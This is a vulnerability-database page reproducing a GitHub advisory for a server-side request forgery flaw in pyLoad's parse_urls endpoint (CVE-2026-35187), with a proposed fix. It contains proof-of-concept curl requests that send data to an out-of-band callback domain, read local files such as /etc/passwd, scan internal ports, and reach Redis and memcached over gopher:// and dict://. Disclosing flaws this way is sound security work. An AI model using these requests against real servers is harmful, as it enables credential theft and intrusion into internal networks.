GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2WVG-62QM-GJ33

Vulnerability from github – Published: 2026-04-04 04:18 – Updated: 2026-04-06 23:43
VLAI
Summary
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Details

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:18:43Z",
    "nvd_published_at": "2026-04-06T20:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n    if url:\n        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist\n        urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\"   -H \"X-CSRFToken: \"   -H \"Content-Type: application/x-www-form-urlencoded\"   -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\"   http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\\u0027Couldn\u0027t open file /nonexistent\\\u0027)\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, \u0027Failed to connect to 127.0.0.1 port 22\u0027)\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn\u0027t open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n    parsed = urlparse(url)\n    if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n        return False\n    hostname = parsed.hostname\n    if not hostname:\n        return False\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n                return False\n    except (socket.gaierror, ValueError):\n        return False\n    return True\n\ndef parse_urls(self, html=None, url=None):\n    if url:\n        if not _is_safe_url(url):\n            raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n        page = get_url(url)\n        urls.update(RE_URLMATCH.findall(page))\n```",
  "id": "GHSA-2wvg-62qm-gj33",
  "modified": "2026-04-06T23:43:23Z",
  "published": "2026-04-04T04:18:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…